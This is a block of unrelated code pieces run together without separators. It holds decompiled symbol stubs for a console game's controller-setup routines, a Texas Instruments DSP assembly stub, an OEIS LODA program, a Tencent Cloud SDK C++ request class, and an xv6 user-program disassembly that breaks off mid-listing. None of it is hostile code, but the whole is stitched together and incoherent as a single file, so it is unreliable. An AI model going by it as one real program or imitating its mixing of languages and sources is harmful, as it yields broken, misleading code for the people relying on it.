PrintCtrlString__FiiUcic(int x, int y, unsigned char cjustflag, int str_num, int col) { // register: 17 // size: 0x10 register struct KEY_ASSIGNS *ta; // register: 2 register int i; // address: 0xFFFFFFC8 auto unsigned char r; // address: 0xFFFFFFD0 auto unsigned char g; // register: 30 register unsigned char b; // register: 18 register int str; // register: 21 register int len; { { // register: 16 register int x1; // register: 23 register int x2; // register: 4 register int nlen; // register: 22 register int otpos; } } } // address: 0x80092018 // line start: 620 // line end: 735 void PrintCtrlString__FiiUcic_addr_80092018(int x, int y, unsigned char cjustflag, int str_num, int col) { // register: 18 // size: 0x10 register struct KEY_ASSIGNS *ta; // register: 2 register int i; // address: 0xFFFFFFC8 auto unsigned char r; // address: 0xFFFFFFD0 auto unsigned char g; // register: 23 register unsigned char b; // register: 19 register int str; // register: 21 register int len; { { // register: 4 register int x1; // register: 22 register int x2; // register: 5 register int nlen; } } } // address: 0x80091CA8 // line start: 615 // line end: 726 void PrintCtrlString__FiiUcic_addr_80091CA8(int x, int y, unsigned char cjustflag, int str_num, int col) { // address: 0xFFFFFFB8 // size: 0x10 auto struct KEY_ASSIGNS *ta; // register: 2 register int i; // address: 0xFFFFFFC0 auto unsigned char r; // address: 0xFFFFFFC8 auto unsigned char g; // register: 23 register unsigned char b; // address: 0xFFFFFFD0 auto int str; // register: 5 register int len; { { // register: 4 register int x1; // register: 22 register int x2; } } } // address: 0x80090338 // line start: 495 // line end: 615 void PrintCtrlString__FiiUcic_addr_80090338(int x, int y, unsigned char cjustflag, int str_num, int col) { // register: 6 register int i; // address: 0xFFFFFFC0 auto unsigned char r; // address: 0xFFFFFFC8 auto unsigned char g; // address: 0xFFFFFFD0 auto unsigned char b; // register: 4 register int str; // register: 18 register int len; { { // register: 4 register int x1; // register: 30 register int x2; } } } // address: 0x8008FD24 // line start: 539 // line end: 644 void PrintCtrlString__FiiUcic_addr_8008FD24(int x, int y, unsigned char cjustflag, int str_num, int col) { // register: 22 // size: 0x10 register struct KEY_ASSIGNS *ta; // register: 2 register int i; // address: 0xFFFFFFC0 auto unsigned char r; // address: 0xFFFFFFC8 auto unsigned char g; // address: 0xFFFFFFD0 auto unsigned char b; // register: 4 register int str; // register: 5 register int len; { { // register: 4 register int x1; // register: 23 register int x2; } } } // address: 0x8008F7EC // line start: 164 // line end: 168 void RemoveCtrlScreen__Fv() { } // address: 0x80091DEC // line start: 281 // line end: 292 bool RemoveCtrlScreen__Fv_addr_80091DEC() { } // address: 0x80091734 // line start: 185 // line end: 195 void RestoreDemoKeys__FPi(int *buffer) { // register: 16 // size: 0x10 register struct KEY_ASSIGNS *ta; { // register: 3 register int i; } } // address: 0x8009165C // line start: 166 // line end: 181 void SetDemoKeys__FPi(int *buffer) { // register: 16 // size: 0x10 register struct KEY_ASSIGNS *ta; { // register: 4 register int i; } } // address: 0x8009C730 // line start: 569 // line end: 580 int SwapJap__Fi(int p) { } // address: 0x80090D8C // line start: 761 // line end: 761 void _GLOBAL__D_CtrlBorder() { } // address: 0x80090790 // line start: 719 // line end: 719 void _GLOBAL__D_ctrlflag() { } // address: 0x80090DC4 // line start: 761 // line end: 761 void _GLOBAL__I_CtrlBorder() { } // address: 0x800907B8 // line start: 719 // line end: 719 void _GLOBAL__I_ctrlflag() { } // address: 0x80091D88 // line start: 260 // line end: 275 bool checkvalid__Fv() { // register: 6 register int start; // register: 5 register int end; { // register: 3 register int i; } } // address: 0x8008F090 // line start: 164 // line end: 181 char *get_action_str__Fii(int pval, int combo) { // register: 4 // size: 0x10 register struct KEY_ASSIGNS *ac; { // register: 6 register int i; } } // address: 0x8008F730 // line start: 108 // line end: 122 char *get_action_str__Fii_addr_8008F730(int pval, int combo) { { // register: 6 register int i; } } // address: 0x8008F7B0 // line start: 152 // line end: 158 int get_key_pad__Fi(int n) { // register: 3 register int i; } // address: 0x8008F108 // line start: 210 // line end: 220 int get_key_pad__Fi_addr_8008F108(int n) { // register: 3 register int i; // register: 5 // size: 0xC register struct pad_assigns_dup_4 *pa; } // address: 0x8008FA30 // line start: 210 // line end: 220 int get_key_pad__Fi_addr_8008FA30(int n) { // register: 3 register int i; // register: 5 // size: 0xC register struct pad_assigns *pa; } // address: 0x8009C8AC // line start: 587 // line end: 786 unsigned char main_ctrl_setup__Fv() { // register: 17 // size: 0xEC register struct CPad_dup_17 *Pad; // register: 16 register int lv; } // address: 0x8009C7D8 // line start: 587 // line end: 786 unsigned char main_ctrl_setup__Fv_addr_8009C7D8() { // register: 17 // size: 0xEC register struct CPad *Pad; // register: 16 register int lv; } // address: 0x800900A8 // line start: 391 // line end: 488 unsigned char main_ctrl_setup__Fv_addr_800900A8() { // register: 16 // size: 0x6C register struct CPad *Pad; // register: 5 register int lv; } // address: 0x80092C7C // line start: 436 // line end: 586 unsigned char main_ctrl_setup__Fv_addr_80092C7C() { // register: 17 // size: 0x6C register struct CPad *Pad; // register: 16 register int lv; } // address: 0x80091B94 // line start: 475 // line end: 613 unsigned char main_ctrl_setup__Fv_addr_80091B94() { // register: 17 // size: 0x6C register struct CPad *Pad; // register: 5 register int lv; } // address: 0x8008F9BC // line start: 432 // line end: 532 unsigned char main_ctrl_setup__Fv_addr_8008F9BC() { // register: 16 // size: 0x6C register struct CPad_dup_4 *Pad; // register: 5 register int lv; } // address: 0x80092C50 // line start: 418 // line end: 429 bool only_one_button__Fi(int p) { // register: 3 register int hand; // register: 5 register int count; } // address: 0x8008FE78 // line start: 316 // line end: 326 int remove_comboval__Fi(int p) { // register: 6 register int n; { // register: 5 register int i; } } // address: 0x8009C61C // line start: 450 // line end: 463 int remove_comboval__Fib(int p, bool all) { // register: 7 register int n; { // register: 6 register int i; } } // address: 0x8008FE38 // line start: 303 // line end: 312 int remove_padval__Fi(int p) { { // register: 5 register int i; } } // address: 0x8009C7DC // line start: 521 // line end: 542 void restore_controller_settings__F8CTRL_SET(enum CTRL_SET s) { // register: 5 // size: 0x10 register struct KEY_ASSIGNS *ta; { { { { } } } } } // address: 0x80090058 // line start: 380 // line end: 385 void restore_controller_settings__Fv() { { } } // address: 0x8008FEB8 // line start: 330 // line end: 376 unsigned char set_buttons__Fii(int cline, int n) { // register: 3 register int cval; // register: 4 register int i; // register: 19 register int p; } // address: 0x8008F820 // line start: 370 // line end: 414 unsigned char set_buttons__Fii_addr_8008F820(int cline, int n) { // register: 16 // size: 0x10 register struct KEY_ASSIGNS *ta; // register: 3 register int cval; // register: 4 register int i; // register: 18 register int p; }
;/****************************************************************************** ; * Copyright (c) 2018 Texas Instruments Incorporated - http://www.ti.com ; * ; * Redistribution and use in source and binary forms, with or without ; * modification, are permitted provided that the following conditions ; * are met: ; * ; * Redistributions of source code must retain the above copyright ; * notice, this list of conditions and the following disclaimer. ; * ; * Redistributions in binary form must reproduce the above copyright ; * notice, this list of conditions and the following disclaimer in the ; * documentation and/or other materials provided with the ; * distribution. ; * ; * Neither the name of Texas Instruments Incorporated nor the names of ; * its contributors may be used to endorse or promote products derived ; * from this software without specific prior written permission. ; * ; * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; * ; *****************************************************************************/ .def Board_ioStack Board_ioStack: .sect "BOARD_IO_DELAY_CODE" stw b15, *a4(-4) call b4 stw b3, *a4(-8) sub a4, 16, b15 mv b6, b4 mv a6, a4 addkpc IO_STACK_RETURN, b3 IO_STACK_RETURN: ldw *+b15(8), b3 ldw *+b15(12), b15 nop 3 bnop b3, 5
; A219843: Rows of A219463 seen as numbers in binary representation. ; 0,0,2,0,14,12,42,0,254,252,762,240,3822,3276,10922,0,65534,65532,196602,65520,983022,851916,2817962,65280,16711422,16579836,50002682,15790320,250539758,214748364,715827882,0,4294967294,4294967292,12884901882,4294967280,64424509422,55834574796,184683593642,4294967040,1095216660222,1086626725116,3277060045562,1035087114480,16419659968238,14074607815884,46913927752362,4294901760,281470681677822,281462091612156,844403454967802,281410551218160,4222051635101678,3658955650564044,12103058920767402 seq $0,3527 ; Divisors of 2^16 - 1. seq $0,35327 ; Write n in binary, interchange 0's and 1's, convert back to decimal.
/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <tencentcloud/cdb/v20170320/model/ModifyBackupConfigRequest.h> #include <tencentcloud/core/utils/rapidjson/document.h> #include <tencentcloud/core/utils/rapidjson/writer.h> #include <tencentcloud/core/utils/rapidjson/stringbuffer.h> using namespace TencentCloud::Cdb::V20170320::Model; using namespace rapidjson; using namespace std; ModifyBackupConfigRequest::ModifyBackupConfigRequest() : m_instanceIdHasBeenSet(false), m_expireDaysHasBeenSet(false), m_startTimeHasBeenSet(false), m_backupMethodHasBeenSet(false), m_binlogExpireDaysHasBeenSet(false) { } string ModifyBackupConfigRequest::ToJsonString() const { Document d; d.SetObject(); Document::AllocatorType& allocator = d.GetAllocator(); if (m_instanceIdHasBeenSet) { Value iKey(kStringType); string key = "InstanceId"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, Value(m_instanceId.c_str(), allocator).Move(), allocator); } if (m_expireDaysHasBeenSet) { Value iKey(kStringType); string key = "ExpireDays"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, m_expireDays, allocator); } if (m_startTimeHasBeenSet) { Value iKey(kStringType); string key = "StartTime"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, Value(m_startTime.c_str(), allocator).Move(), allocator); } if (m_backupMethodHasBeenSet) { Value iKey(kStringType); string key = "BackupMethod"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, Value(m_backupMethod.c_str(), allocator).Move(), allocator); } if (m_binlogExpireDaysHasBeenSet) { Value iKey(kStringType); string key = "BinlogExpireDays"; iKey.SetString(key.c_str(), allocator); d.AddMember(iKey, m_binlogExpireDays, allocator); } StringBuffer buffer; Writer<StringBuffer> writer(buffer); d.Accept(writer); return buffer.GetString(); } string ModifyBackupConfigRequest::GetInstanceId() const { return m_instanceId; } void ModifyBackupConfigRequest::SetInstanceId(const string& _instanceId) { m_instanceId = _instanceId; m_instanceIdHasBeenSet = true; } bool ModifyBackupConfigRequest::InstanceIdHasBeenSet() const { return m_instanceIdHasBeenSet; } int64_t ModifyBackupConfigRequest::GetExpireDays() const { return m_expireDays; } void ModifyBackupConfigRequest::SetExpireDays(const int64_t& _expireDays) { m_expireDays = _expireDays; m_expireDaysHasBeenSet = true; } bool ModifyBackupConfigRequest::ExpireDaysHasBeenSet() const { return m_expireDaysHasBeenSet; } string ModifyBackupConfigRequest::GetStartTime() const { return m_startTime; } void ModifyBackupConfigRequest::SetStartTime(const string& _startTime) { m_startTime = _startTime; m_startTimeHasBeenSet = true; } bool ModifyBackupConfigRequest::StartTimeHasBeenSet() const { return m_startTimeHasBeenSet; } string ModifyBackupConfigRequest::GetBackupMethod() const { return m_backupMethod; } void ModifyBackupConfigRequest::SetBackupMethod(const string& _backupMethod) { m_backupMethod = _backupMethod; m_backupMethodHasBeenSet = true; } bool ModifyBackupConfigRequest::BackupMethodHasBeenSet() const { return m_backupMethodHasBeenSet; } int64_t ModifyBackupConfigRequest::GetBinlogExpireDays() const { return m_binlogExpireDays; } void ModifyBackupConfigRequest::SetBinlogExpireDays(const int64_t& _binlogExpireDays) { m_binlogExpireDays = _binlogExpireDays; m_binlogExpireDaysHasBeenSet = true; } bool ModifyBackupConfigRequest::BinlogExpireDaysHasBeenSet() const { return m_binlogExpireDaysHasBeenSet; }
_echo: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 57 push %edi 1004: 56 push %esi 1005: 53 push %ebx 1006: 83 e4 f0 and $0xfffffff0,%esp 1009: 83 ec 10 sub $0x10,%esp 100c: 8b 75 08 mov 0x8(%ebp),%esi 100f: 8b 7d 0c mov 0xc(%ebp),%edi int i; for(i = 1; i < argc; i++) 1012: 83 fe 01 cmp $0x1,%esi 1015: 7e 58 jle 106f <main+0x6f> 1017: bb 01 00 00 00 mov $0x1,%ebx 101c: eb 26 jmp 1044 <main+0x44> 101e: 66 90 xchg %ax,%ax printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n"); 1020: c7 44 24 0c a1 17 00 movl $0x17a1,0xc(%esp) 1027: 00 1028: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 102c: c7 44 24 04 a3 17 00 movl $0x17a3,0x4(%esp) 1033: 00 1034: c7 04 24 01 00 00 00 movl $0x1,(%esp) 103b: 89 44 24 08 mov %eax,0x8(%esp) 103f: e8 bc 03 00 00 call 1400 <printf> 1044: 83 c3 01 add $0x1,%ebx 1047: 39 f3 cmp %esi,%ebx 1049: 75 d5 jne 1020 <main+0x20> 104b: c7 44 24 0c a8 17 00 movl $0x17a8,0xc(%esp) 1052: 00 1053: 8b 44 9f fc mov -0x4(%edi,%ebx,4),%eax 1057: c7 44 24 04 a3 17 00 movl $0x17a3,0x4(%esp) 105e: 00 105f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1066: 89 44 24 08 mov %eax,0x8(%esp) 106a: e8 91 03 00 00 call 1400 <printf> exit(); 106f: e8 2e 02 00 00 call 12a2 <exit> 1074: 66 90 xchg %ax,%ax 1076: 66 90 xchg %ax,%ax 1078: 66 90 xchg %ax,%ax 107a: 66 90 xchg %ax,%ax 107c: 66 90 xchg %ax,%ax 107e: 66 90 xchg %ax,%ax 00001080 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1080: 55 push %ebp 1081: 89 e5 mov %esp,%ebp 1083: 8b 45 08 mov 0x8(%ebp),%eax 1086: 8b 4d 0c mov 0xc(%ebp),%ecx 1089: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 108a: 89 c2 mov %eax,%edx 108c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1090: 83 c1 01 add $0x1,%ecx 1093: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 1097: 83 c2 01 add $0x1,%edx 109a: 84 db test %bl,%bl 109c: 88 5a ff mov %bl,-0x1(%edx) 109f: 75 ef jne 1090 <strcpy+0x10> ; return os; } 10a1: 5b pop %ebx 10a2: 5d pop %ebp 10a3: c3 ret 10a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000010b0 <strcmp>: int strcmp(const char *p, const char *q) { 10b0: 55 push %ebp 10b1: 89 e5 mov %esp,%ebp 10b3: 8b 55 08 mov 0x8(%ebp),%edx 10b6: 53 push %ebx 10b7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 10ba: 0f b6 02 movzbl (%edx),%eax 10bd: 84 c0 test %al,%al 10bf: 74 2d je 10ee <strcmp+0x3e> 10c1: 0f b6 19 movzbl (%ecx),%ebx 10c4: 38 d8 cmp %bl,%al 10c6: 74 0e je 10d6 <strcmp+0x26> 10c8: eb 2b jmp 10f5 <strcmp+0x45> 10ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10d0: 38 c8 cmp %cl,%al 10d2: 75 15 jne 10e9 <strcmp+0x39> p++, q++; 10d4: 89 d9 mov %ebx,%ecx 10d6: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 10d9: 0f b6 02 movzbl (%edx),%eax p++, q++; 10dc: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 10df: 0f b6 49 01 movzbl 0x1(%ecx),%ecx 10e3: 84 c0 test %al,%al 10e5: 75 e9 jne 10d0 <strcmp+0x20> 10e7: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 10e9: 29 c8 sub %ecx,%eax } 10eb: 5b pop %ebx 10ec: 5d pop %ebp 10ed: c3 ret 10ee: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 10f1: 31 c0 xor %eax,%eax 10f3: eb f4 jmp 10e9 <strcmp+0x39> 10f5: 0f b6 cb movzbl %bl,%ecx 10f8: eb ef jmp 10e9 <strcmp+0x39> 10fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001100 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 1100: 55 push %ebp 1101: 89 e5 mov %esp,%ebp 1103: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1106: 80 39 00 cmpb $0x0,(%ecx) 1109: 74 12 je 111d <strlen+0x1d> 110b: 31 d2 xor %edx,%edx 110d: 8d 76 00 lea 0x0(%esi),%esi 1110: 83 c2 01 add $0x1,%edx 1113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1117: 89 d0 mov %edx,%eax 1119: 75 f5 jne 1110 <strlen+0x10> ; return n; } 111b: 5d pop %ebp 111c: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 111d: 31 c0 xor %eax,%eax ; return n; } 111f: 5d pop %ebp 1120: c3 ret 1121: eb 0d jmp 1130 <memset> 1123: 90 nop 1124: 90 nop 1125: 90 nop 1126: 90 nop 1127: 90 nop 1128: 90 nop 1129: 90 nop 112a: 90 nop 112b: 90 nop 112c: 90 nop 112d: 90 nop 112e: 90 nop 112f: 90 nop 00001130 <memset>: void* memset(void *dst, int c, uint n) { 1130: 55 push %ebp 1131: 89 e5 mov %esp,%ebp 1133: 8b 55 08 mov 0x8(%ebp),%edx 1136: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1137: 8b 4d 10 mov 0x10(%ebp),%ecx 113a: 8b 45 0c mov 0xc(%ebp),%eax 113d: 89 d7 mov %edx,%edi 113f: fc cld 1140: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1142: 89 d0 mov %edx,%eax 1144: 5f pop %edi 1145: 5d pop %ebp 1146: c3 ret 1147: 89 f6 mov %esi,%esi 1149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001150 <strchr>: char* strchr(const char *s, char c) { 1150: 55 push %ebp 1151: 89 e5 mov %esp,%ebp 1153: 8b 45 08 mov 0x8(%ebp),%eax 1156: 53 push %ebx 1157: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 115a: 0f b6 18 movzbl (%eax),%ebx 115d: 84 db test %bl,%bl 115f: 74 1d je 117e <strchr+0x2e> if(*s == c) 1161: 38 d3 cmp %dl,%bl 1163: 89 d1 mov %edx,%ecx 1165: 75 0d jne 1174 <strchr+0x24> 1167: eb 17 jmp 1180 <strchr+0x30> 1169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1170: 38 ca cmp %cl,%dl 1172: 74 0c je 1180 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 1174: 83 c0 01 add $0x1,%eax 1177: 0f b6 10 movzbl (%eax),%edx 117a: 84 d2 test %dl,%dl 117c: 75 f2 jne 1170 <strchr+0x20> if(*s == c) return (char*)s; return 0; 117e: 31 c0 xor %eax,%eax } 1180: 5b pop %ebx 1181: 5d pop %ebp 1182: c3 ret 1183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00001190 <gets>: char* gets(char *buf, int max) { 1190: 55 push %ebp 1191: 89 e5 mov %esp,%ebp 1193: 57 push %edi 1194: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1195: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 1197: 53 push %ebx 1198: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 119b: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 119e: eb 31 jmp 11d1 <gets+0x41> cc = read(0, &c, 1); 11a0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 11a7: 00 11a8: 89 7c 24 04 mov %edi,0x4(%esp) 11ac: c7 04 24 00 00 00 00 movl $0x0,(%esp) 11b3: e8 02 01 00 00 call 12ba <read> if(cc < 1) 11b8: 85 c0 test %eax,%eax 11ba: 7e 1d jle 11d9 <gets+0x49> break; buf[i++] = c; 11bc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 11c0: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 11c2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 11c5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 11c7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 11cb: 74 0c je 11d9 <gets+0x49> 11cd: 3c 0a cmp $0xa,%al 11cf: 74 08 je 11d9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 11d1: 8d 5e 01 lea 0x1(%esi),%ebx 11d4: 3b 5d 0c cmp 0xc(%ebp),%ebx 11d7: 7c c7 jl 11a0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 11d9: 8b 45 08 mov 0x8(%ebp),%eax 11dc: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 11e0: 83 c4 2c add $0x2c,%esp 11e3: 5b pop %ebx 11e4: 5e pop %esi 11e5: 5f pop %edi 11e6: 5d pop %ebp 11e7: c3 ret 11e8: 90 nop 11e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000011f0 <stat>: int stat(char *n, struct stat *st) { 11f0: 55 push %ebp 11f1: 89 e5 mov %esp,%ebp 11f3: 56 push %esi 11f4: 53 push %ebx 11f5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 11f8: 8b 45 08 mov 0x8(%ebp),%eax 11fb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1202: 00 1203: 89 04 24 mov %eax,(%esp) 1206: e8 d7 00 00 00 call 12e2 <open> if(fd < 0) 120b: 85 c0 test %eax,%eax stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 120d: 89 c3 mov %eax,%ebx if(fd < 0) 120f: 78 27 js 1238 <stat+0x48> return -1; r = fstat(fd, st); 1211: 8b 45 0c mov 0xc(%ebp),%eax 1214: 89 1c 24 mov %ebx,(%esp) 1217: 89 44 24 04 mov %eax,0x4(%esp) 121b: e8 da 00 00 00 call 12fa <fstat> close(fd); 1220: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 1223: 89 c6 mov %eax,%esi close(fd); 1225: e8 a0 00 00 00 call 12ca <close> return r; 122a: 89 f0 mov %esi,%eax } 122c: 83 c4 10 add $0x10,%esp 122f: 5b pop %ebx 1230: 5e pop %esi 1231: 5d pop %ebp 1232: c3 ret 1233: 90 nop 1234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 1238: b8 ff ff ff ff mov $0xffffffff,%eax 123d: eb ed jmp 122c <stat+0x3c> 123f: 90 nop 00001240 <atoi>: return r; } int atoi(const char *s) { 1240: 55 push %ebp 1241: 89 e5 mov %esp,%ebp 1243: 8b 4d 08 mov 0x8(%ebp),%ecx 1246: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 1247: 0f be 11 movsbl (%ecx),%edx 124a: 8d 42 d0 lea -0x30(%edx),%eax 124d: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 124f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 1254: 77 17 ja 126d <atoi+0x2d> 1256: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 1258: 83 c1 01 add $0x1,%ecx 125b: 8d 04 80 lea (%eax,%eax,4),%eax 125e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 1262: 0f be 11 movsbl (%ecx),%edx 1265: 8d 5a d0 lea -0x30(%edx),%ebx 1268: 80 fb 09 cmp $0x9,%bl 126b: 76 eb jbe 1258 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 126d: 5b pop %ebx 126e: 5d pop %ebp 126f: c3 ret 00001270 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1270: 55 push %ebp char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1271: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, void *vsrc, int n) { 1273: 89 e5 mov %esp,%ebp 1275: 56 push %esi 1276: 8b 45 08 mov 0x8(%ebp),%eax 1279: 53 push %ebx 127a: 8b 5d 10 mov 0x10(%ebp),%ebx 127d: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1280: 85 db test %ebx,%ebx 1282: 7e 12 jle 1296 <memmove+0x26> 1284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 1288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 128c: 88 0c 10 mov %cl,(%eax,%edx,1) 128f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1292: 39 da cmp %ebx,%edx 1294: 75 f2 jne 1288 <memmove+0x18> *dst++ = *src++; return vdst; } 1296: 5b pop %ebx 1297: 5e pop %esi 1298: 5d pop %ebp 1299: c3 ret 0000129a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 129a: b8 01 00 00 00 mov $0x1,%eax 129f: cd 40 int $0x40 12a1: c3 ret 000012a2 <exit>: SYSCALL(exit) 12a2: b8 02 00 00 00 mov $0x2,%eax 12a7: cd 40 int $0x40 12a9: c3 ret 000012aa <wait>: SYSCALL(wait) 12aa: b8 03 00 00 00 mov $0x3,%eax 12af: cd 40 int $0x40 12b1: c3 ret 000012b2 <pipe>: SYSCALL(pipe) 12b2: b8 04 00 00 00 mov $0x4,%eax 12b7: cd 40 int $0x40 12b9: c3 ret 000012ba <read>: SYSCALL(read) 12ba: b8 05 00 00 00 mov $0x5,%eax 12bf: cd 40 int $0x40 12c1: c3 ret 000012c2 <write>: SYSCALL(write) 12c2: b8 10 00 00 00 mov $0x10,%eax 12c7: cd 40 int $0x40 12c9: c3 ret 000012ca <close>: SYSCALL(close) 12ca: b8 15 00 00 00 mov $0x15,%eax 12cf: cd 40 int $0x40 12d1: c3 ret 000012d2 <kill>: SYSCALL(kill) 12d2: b8 06 00 00 00 mov $0x6,%eax 12d7: cd 40 int $0x40 12d9: c3 ret 000012da <exec>: SYSCALL(exec) 12da: b8 07 00 00 00 mov $0x7,%eax 12df: cd 40 int $0x40 12e1: c3 ret 000012e2 <open>: SYSCALL(open) 12e2: b8 0f 00 00 00 mov $0xf,%eax 12e7: cd 40 int $0x40 12e9: c3 ret 000012ea <mknod>: SYSCALL(mknod) 12ea: b8 11 00 00 00 mov $0x11,%eax 12ef: cd 40 int $0x40 12f1: c3 ret 000012f2 <unlink>: SYSCALL(unlink) 12f2: b8 12 00 00 00 mov $0x12,%eax 12f7: cd 40 int $0x40 12f9: c3 ret 000012fa <fstat>: SYSCALL(fstat) 12fa: b8 08 00 00 00 mov $0x8,%eax 12ff: cd 40 int $0x40 1301: c3 ret 00001302 <link>: SYSCALL(link) 1302: b8 13 00 00 00 mov $0x13,%eax 1307: cd 40 int $0x40 1309: c3 ret 0000130a <mkdir>: SYSCALL(mkdir) 130a: b8 14 00 00 00 mov $0x14,%eax 130f: cd 40 int $0x40 1311: c3 ret 00001312 <chdir>: SYSCALL(chdir) 1312: b8 09 00 00 00 mov $0x9,%eax 1317: cd 40 int $0x40 1319: c3 ret 0000131a <dup>: SYSCALL(dup) 131a: b8 0a 00 00 00 mov $0xa,%eax 131f: cd 40 int $0x40 1321: c3 ret 00001322 <getpid>: SYSCALL(getpid) 1322: b8 0b 00 00 00 mov $0xb,%eax 1327: cd 40 int $0x40 1329: c3 ret 0000132a <sbrk>: SYSCALL(sbrk) 132a: b8 0c 00 00 00 